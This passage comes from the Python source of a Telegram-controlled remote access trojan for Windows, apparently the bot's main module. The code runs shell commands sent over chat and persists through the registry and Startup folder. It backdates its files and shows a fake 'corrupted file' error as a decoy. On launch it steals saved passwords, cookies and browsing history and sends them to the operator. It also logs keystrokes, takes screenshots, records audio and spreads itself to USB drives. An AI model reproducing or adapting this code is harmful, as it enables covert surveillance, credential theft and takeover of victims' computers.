passwords, drivetree, driveslist, keystrokes, openwindows 90 | #set- email (0:Default,1:URL,2:Update), filename (0: Itself, 1: Others), keystrokes (text) 91 | #start- website (URL), keylogger, recaudio (time), webserver (Port), spread 92 | #stop- keylogger, webserver 93 | #wallpaper- change wallpaper (URL) 94 | #find- openports (host, threads, ports), router 95 | #help- print this usage''' 96 | 97 | def changetTimestamp(folderPath, fileName, dayLimit): 98 | try: 99 | modify_timestamp.changeTimestamp(folderPath, fileName, dayLimit) 100 | except Exception as e: 101 | print e 102 | 103 | 104 | def cmdPrompt(command): 105 | try: 106 | output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).communicate() 107 | output = output[0].replace(" ","") 108 | bot.sendMessage(CHAT_ID, output) 109 | except Exception as e: 110 | print e 111 | 112 | 113 | def copyFiles(copytodir, stub): 114 | try: 115 | filesindir = os.listdir(copytodir) 116 | coppiedfilename = os.path.basename(sys.argv[0]) 117 | if coppiedfilename not in filesindir: 118 | try: 119 | shutil.copy2(stub, copytodir + coppiedfilename) 120 | except Exception as e: 121 | print e 122 | except Exception as e: 123 | print e 124 | return True 125 | 126 | 127 | def copyToStartup(): 128 | try: 129 | copyfromdir = CURR_DIR + "\\" + CURR_FILE_NAME 130 | filesindir = os.listdir(STARTUP_PATH) 131 | if copied_startup_filename not in filesindir: 132 | try: 133 | shutil.copy2(copyfromdir, STARTUP_PATH + "\\" + copied_startup_filename) 134 | except Exception as e: 135 | print e 136 | except Exception as e: 137 | print e 138 | 139 | return True 140 | 141 | 142 | def download(url, dest): 143 | try: 144 | urllib.urlretrieve(url, dest + url.split('/')[-1]) 145 | bot.sendMessage(CHAT_ID, USER + ": File Downloaded <^_^>") 146 | except Exception as e: 147 | print e 148 | 149 | 150 | def driveCheck(): 151 | w = check_external_drive.Notification () 152 | win32gui.PumpMessages () 153 | 154 | 155 | def execute(command): 156 | try: 157 | if command == "shutdown": 158 | try: 159 | subprocess.call(["shutdown","/s"]) 160 | except Exception as e: 161 | print e 162 | elif command == "logoff": 163 | try: 164 | subprocess.call(["shutdown","/l"]) 165 | except Exception as e: 166 | print e 167 | elif command == "restart": 168 | try: 169 | subprocess.call(["shutdown","/r"]) 170 | except Exception as e: 171 | print e 172 | elif command == "lock": 173 | try: 174 | ctypes.windll.user32.LockWorkStation() 175 | bot.sendMessage(CHAT_ID, USER + ' Computer is locked! \ 0.0 /') 176 | except Exception as e: 177 | print e 178 | except Exception as e: 179 | print e 180 | 181 | 182 | def find(things): 183 | things = things.split(" ") 184 | if "openports" in things: 185 | host = things[things.index("openports")+1:][0] 186 | threads = int(things[things.index("openports")+2:][0]) 187 | ports = int(things[things.index("openports")+3:][0]) 188 | opThreads = threading.Thread(target = lookPorts, args = (host,threads,ports)) 189 | opThreads.daemon = True 190 | opThreads.start() 191 | elif "router" in things: 192 | routerThreads = threading.Thread(target = lookRouter, args = ()) 193 | routerThreads.daemon = True 194 | routerThreads.start() 195 | 196 | 197 | def getWindowTitles(): 198 | titles = [] 199 | try: 200 | windows = window_title.revealWindows() 201 | for title in windows: 202 | if len(title) > 0: 203 | titles.append(title) 204 | return titles 205 | except Exception as e: 206 | print e 207 | return False 208 | 209 | 210 | def handle(msg): 211 | content_type, chat_type, chat_id = telepot.glance(msg) 212 | if content_type == 'text': 213 | print '[*] Command: ' + msg['text'] 214 | text_cmd = msg['text'].lower().split(' ') 215 | usr = USER.replace(" ", "").lower() 216 | if 'whoisonline' in text_cmd: 217 | iAmAlive() 218 | elif 'destroy' in text_cmd: 219 | killMe() 220 | elif usr in text_cmd: 221 | cmd = text_cmd[text_cmd.index(usr) + 1:] 222 | for flag in FLAGS: 223 | flag = flag.lower() 224 | if flag in cmd: 225 | command_to_execute = " ".join(text_cmd[text_cmd.index(flag) + 1:]) 226 | if flag == "#cmd" : 227 | cmdPrompt(command_to_execute) 228 | elif flag == "#download" : 229 | url = text_cmd[text_cmd.index(flag) + 1] 230 | dest = text_cmd[text_cmd.index(flag) + 2] 231 | if dest == "startup": 232 | dest = os.environ.get('HOMEDRIVE') + os.environ.get( 233 | 'HOMEPATH') + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\\' 234 | elif dest == "desktop": 235 | dest = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\Desktop\\' 236 | elif dest == 'default': 237 | dest = CACHE_PATH 238 | else: 239 | dest = os.getenv('TEMP') 240 | download(url, dest) 241 | elif flag == "#execute" : 242 | execute(command_to_execute) 243 | elif flag == "#screenshot" : 244 | screenshot() 245 | elif flag == "#send" : 246 | send(command_to_execute) 247 | elif flag == "#set" : 248 | setStuff(command_to_execute) 249 | elif flag == "#start": 250 | start(command_to_execute) 251 | elif flag == "#stop" : 252 | stop(command_to_execute) 253 | elif flag == "#wallpaper" : 254 | command_to_execute = text_cmd[text_cmd.index(flag) + 1] 255 | wallThread = threading.Thread(target=setWallpaper, args=(command_to_execute,)) 256 | wallThread.daemon = True 257 | wallThread.start() 258 | elif flag == "#find": 259 | find(command_to_execute) 260 | elif flag == "#help" : 261 | help() 262 | 263 | 264 | def help(): 265 | bot.sendMessage(CHAT_ID, help_text) 266 | 267 | 268 | def hide(folderPath): 269 | hideme.hideFiles(folderPath) 270 | 271 | 272 | def iAmAlive(): 273 | bot.sendMessage(CHAT_ID, USER + ', ' + MAC_ADDRESS + ' ' + platform.platform() + ": I am online!!") 274 | 275 | 276 | def insertKeys(message): 277 | insertkeystrokes.AltTab() 278 | insertkeystrokes.cursorEnd() 279 | insertkeystrokes.SendKeystrokes(message) 280 | 281 | 282 | def internetOn(): 283 | try: 284 | response = urllib2.urlopen('https://www.google.co.in', timeout=20) 285 | return True 286 | except urllib2.URLError as err: 287 | pass 288 | return False 289 | 290 | 291 | def killMe(): 292 | try: 293 | add_to_registry.deleteRegistery() 294 | os.remove(sys.argv[0]) 295 | sys.exit(0) 296 | except Exception as e: 297 | print e 298 | 299 | 300 | def lookPorts(host, threads, ports): 301 | try: 302 | open_ports = [] 303 | lp = portmap.PortMap() 304 | open_ports = lp.run(host, threads, ports) 305 | bot.sendMessage(CHAT_ID, "Open Ports in " + USER + ": " + str(open_ports)) 306 | except Exception as e: 307 | print e 308 | 309 | 310 | def lookRouter(): 311 | router = router_check.FindRouter() 312 | router_name = router.run() 313 | if router_name != False: 314 | bot.sendMessage(CHAT_ID, USER + ': %s router found' %(router_name)) 315 | else: 316 | bot.sendMessage(CHAT_ID, USER + ': Unable to find router') 317 | 318 | 319 | def main(): 320 | 321 | global bot 322 | 323 | startupThread = threading.Thread(target=startUpWork, args=()) 324 | startupThread.daemon = True 325 | startupThread.start() 326 | 327 | if internetOn(): 328 | try: 329 | bot = telepot.Bot(access_token) 330 | bot.message_loop(handle) 331 | bot.sendMessage(CHAT_ID, str(current_system_time.strftime("%d|%m|%Y-%H|%M|%S")) + ': '+ USER + ' is online ^_^') 332 | print ('[*] Listening ...') 333 | try: 334 | while 1: 335 | time.sleep(5) 336 | except KeyboardInterrupt: 337 | print '[*] Eclipse completed...' 338 | except Exception as e: 339 | pass 340 | 341 | 342 | def makeFolders(): 343 | try: 344 | os.makedirs(SAVE_FILES) 345 | os.makedirs(CACHE_PATH) 346 | os.makedirs(USERDATA_PATH) 347 | os.makedirs(SERVER_PATH) 348 | hide(SAVE_FILES) 349 | except OSError as exception: 350 | if exception.errno != errno.EEXIST: 351 | raise 352 | 353 | 354 | def persistance(): 355 | try: 356 | add_to_registry.addRegistery(CURR_FILE_PATH) 357 | except Exception as e: 358 | print e 359 | 360 | 361 | def pollDevice(): 362 | while True: 363 | if check_external_drive.FLAG == True: 364 | print "[*] Drive Found: ", check_external_drive.DRIVE+":\\" 365 | copyFiles(check_external_drive.DRIVE+":\\",os.path.realpath(sys.argv[0])) 366 | check_external_drive.FLAG = False 367 | 368 | 369 | def readEmailTemplate(pathEmailTemp): 370 | email = open(pathEmailTemp,'r') 371 | return email.readlines() 372 | 373 | 374 | def rename(renameFlag, folderPath, fileName, newName): 375 | # renameFlag = 0 for renaming itself 376 | # renameFlag = 1 for renaming other files 377 | try: 378 | if renameFlag == '0': 379 | modify_file_names.myself(os.path.realpath(__file__), newName) 380 | elif renameFlag == '1': 381 | modify_file_names.local_file(folderPath, fileName, newName) 382 | except Exception as e: 383 | print e 384 | 385 | 386 | def screenshot(): 387 | ts = datetime.datetime.now().strftime("%Y%m%d-%H%M%S") 388 | try: 389 | scr_img = ImageGrab.grab() 390 | scr_img.save(str(ts) + '.png') 391 | bot.sendPhoto(CHAT_ID,open(ts+'.png','rb'),caption="Screenshot from " + USER.upper()) 392 | os.remove(str(ts) + '.png') 393 | except Exception as e: 394 | print e 395 | return True 396 | 397 | 398 | def send(what): 399 | global transfer 400 | if what == "drivetree": 401 | try: 402 | DT = DirectoryTree.Directory() 403 | DT.run() 404 | transfer.sendData(CACHE_PATH + "DirectoryTree",".txt") 405 | os.remove(CACHE_PATH + "DirectoryTree.txt") 406 | bot.sendMessage(CHAT_ID, USER + ": Directory tree sent!! <^_^>") 407 | except Exception as e: 408 | print e 409 | elif what == "driveslist": 410 | try: 411 | LD = DirectoryTree.Directory() 412 | drives = LD.get_list_drives() 413 | bot.sendMessage(CHAT_ID, USER + " : " + str(drives)) 414 | except Exception as e: 415 | print e 416 | elif what == "passwords": 417 | try: 418 | passwords = Run.Result() 419 | open_info = open(CACHE_PATH + info, "a") 420 | open_info.write(str(passwords.run()) + "\n") 421 | open_info.close() 422 | transfer.sendData(CACHE_PATH + "info", ".txt") 423 | os.remove(CACHE_PATH + "info.txt") 424 | bot.sendMessage(CHAT_ID, USER + ": Passwords sent!! <^_^>") 425 | except Exception as e: 426 | print e 427 | elif what == "keystrokes": 428 | try: 429 | transfer.sendData(USERDATA_PATH + "keylog", ".txt") 430 | bot.sendMessage(CHAT_ID,USER + ": Keystrokes sent!! <^_^>") 431 | clear = open(USERDATA_PATH + "keylog.txt","w") 432 | clear.close() 433 | except Exception as e: 434 | print e 435 | elif what == "openwindows": 436 | openWindows = getWindowTitles() 437 | bot.sendMessage(CHAT_ID, USER + " : " + str(openWindows)) 438 | 439 | 440 | def setEmailTemplate(emailFlag, pathEmailTemp, data): 441 | try: 442 | if emailFlag == '0': 443 | set_email_template.setDefaultEmailTemplate(pathEmailTemp) 444 | bot.sendMessage(CHAT_ID, USER + ": Email template set!!") 445 | elif emailFlag == '1': 446 | set_email_template.setEmailTemplate(pathEmailTemp, data) 447 | bot.sendMessage(CHAT_ID, USER + ": Email template set!!") 448 | elif emailFlag == '2': 449 | set_email_template.updateEmailTemplate(pathEmailTemp, data) 450 | bot.sendMessage(CHAT_ID, USER + ": Email template set!!") 451 | except Exception as e: 452 | print e 453 | 454 | 455 | def setStuff(things): 456 | things = things.split(" ") 457 | if "email" in things: 458 | EMAIL_FLAG = str(things[things.index("email")+1:][0]) 459 | if EMAIL_FLAG == '0': 460 | setEmailTemplate(EMAIL_FLAG, PATH_MAIL_TEMP, None) 461 | elif EMAIL_FLAG == '1': 462 | setEmailTemplate(EMAIL_FLAG, PATH_MAIL_TEMP, things[things.index("email")+2:][0]) 463 | elif EMAIL_FLAG == '2': 464 | setEmailTemplate(EMAIL_FLAG, PATH_MAIL_TEMP, things[things.index("email")+2:][0]) 465 | elif "filename" in things: 466 | rename_flag = things[things.index("filename")+1:][0] 467 | new_name = things[things.index("filename")+2:][0] 468 | try: 469 | folder_path = things[things.index("filename")+3:][0] 470 | file_name = things[things.index("filename")+4:][0] 471 | except: 472 | pass 473 | if rename_flag == '0': 474 | rename(rename_flag, None, None, new_name) 475 | elif rename_flag == '1': 476 | rename(rename_flag, folder_path, file_name, new_name) 477 | elif "keystrokes" in things : 478 | keystroke_message = " ".join(things[things.index("keystrokes")+1:]) 479 | keysThreads = threading.Thread(target = insertKeys, args = (keystroke_message,)) 480 | keysThreads.daemon = True 481 | keysThreads.start() 482 | 483 | 484 | def setWallpaper(imageUrl): 485 | try: 486 | wallpaper = ChangeWallpaper.ChangeWallpaper() 487 | wallpaper.downloadWallpaper(imageUrl) 488 | except Exception as e: 489 | print e 490 | 491 | 492 | def start(service): 493 | service = service.split(" ") 494 | try: 495 | if "keylogger" in service: 496 | kLog = threading.Thread(target = RadiumKeylogger.hookslaunch) 497 | kLog.daemon = True 498 | kLog.start() 499 | bot.sendMessage(CHAT_ID, "Keylogger deployed in " + USER + " ^_^") 500 | elif "website" in service: 501 | webbrowser.open(str(service[service.index("website")+1:][0])) 502 | bot.sendMessage(CHAT_ID, "Website opened in " + USER + " ^_^") 503 | elif "recaudio" in service: 504 | a_rec = RecAudio.RecordAudio() 505 | rec_time = service[service.index("recaudio")+1:][0] 506 | a_rec.start(int(rec_time)) 507 | bot.sendAudio(CHAT_ID, open('output.wav', 'rb'), title='Recording from '+USER) 508 | os.remove('output.wav') 509 | elif "webserver" in service: 510 | port = service[service.index("webserver")+1:][0] 511 | serverThread = threading.Thread(target=startHttpServer, args=(SERVER_PATH, int(port), )) 512 | serverThread.daemon = True 513 | serverThread.start() 514 | elif "spread" in service: 515 | dChkThread = threading.Thread(target=driveCheck) 516 | dChkThread.daemon = True 517 | dChkThread.start() 518 | 519 | pDevcThread = threading.Thread(target=pollDevice) 520 | pDevcThread.daemon = True 521 | pDevcThread.start() 522 | except Exception as e: 523 | print e 524 | 525 | 526 | def startHttpServer(serverPath, port): 527 | global server 528 | try: 529 | server = httpServer.SimpleServer() 530 | server.runServer(serverPath, port) 531 | except Exception as e: 532 | print e 533 | 534 | 535 | def startUpWork(): 536 | # To intialise settings for the bot 537 | # start certain threads that needs continuous monitoring 538 | try: 539 | # Make folders 540 | makeFolders() 541 | 542 | # Add to startup 543 | startup_files = os.listdir(STARTUP_PATH) 544 | if copied_startup_filename not in startup_files: 545 | copyToStartup() 546 | changetTimestamp(STARTUP_PATH, copied_startup_filename, 777) 547 | ctypes.windll.user32.MessageBoxA(0, "Error reading file, contents are corrupted.",CURR_FILE_NAME[:-4], 0) 548 | 549 | # Add to registry 550 | persistance() 551 | 552 | # Make router list 553 | makeRouterList.makeRList() 554 | 555 | # Extract password, cookies, history and login data 556 | cache_files = os.listdir(USERDATA_PATH) 557 | if internetOn: 558 | if info not in cache_files or "CHL.zip" not in cache_files: 559 | try: 560 | # Passwords 561 | passwords = Run.Result() 562 | open_info = open(USERDATA_PATH + info, "a") 563 | open_info.write(str(passwords.run()) + "\n") 564 | open_info.close() 565 | 566 | # Cookies, History, Login Data 567 | chl = CookieStealer.CookieStealer() 568 | chl.run() 569 | 570 | # Change timestamp 571 | changetTimestamp(USERDATA_PATH, info, 777) 572 | changetTimestamp(USERDATA_PATH, "CHL.zip", 777) 573 | 574 | except Exception as e: 575 | print e 576 | 577 | try: 578 | print '[*] Sending the files' 579 | transfer.sendData(USERDATA_PATH + "info", ".txt") 580 | # os.remove(USERDATA_PATH + info) 581 | transfer.sendData(USERDATA_PATH + "CHL", ".zip") 582 | except Exception as e: 583 | print e 584 | except Exception as e: 585 | print e 586 | 587 | 588 | def stop(service): 589 | global server 590 | service = service.split(" ") 591 | try: 592 | if "keylogger" in service: 593 | send("keystrokes") 594 | RadiumKeylogger.STOP_FLAG = False 595 | bot.sendMessage(CHAT_ID, "Keylogger process killed in " + USER + "!") 596 | elif "webserver" in service: 597 | server.stopServer() 598 | except Exception as e: 599 | print e 600 | 601 | 602 | def upload(): 603 | pass 604 | 605 | 606 | if __name__ == '__main__': 607 | main() 608 | 609 | --------------------------------------------------------------------------------